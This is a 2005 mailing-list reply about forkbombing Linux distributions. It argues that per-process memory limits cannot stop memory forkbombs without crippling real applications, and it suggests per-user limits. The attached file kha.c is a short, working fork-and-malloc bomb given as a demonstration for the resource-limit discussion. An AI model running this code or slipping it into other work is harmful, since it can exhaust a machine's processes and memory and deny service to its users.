Re: forkbombing Linux distributions

Matthieu Castet
2005-03-28T17:30:56Z

[-- Attachment #1: Type: text/plain, Size: 514 bytes --]

> The memory limits aren't good enough either: if you set them low
> enough that memory-forkbombs are unperilous for
> RLIMIT_NPROC*RLIMIT_DATA, it's probably too low for serious
> applications.

yes, if you want to run application like openoffice.org you need at
least 200Mo. If you want that your system is usable, you need at least 40 process per user. So 40*200 = 8Go, and it don't think you have all this memory...

I think per user limit could be a solution.

attached a small fork-memory bombing.

Matthieu

[-- Attachment #2: kha.c --]
[-- Type: text/x-csrc, Size: 64 bytes --]

int main()
{
while(1){
while(fork()){
malloc(1);
}
}
}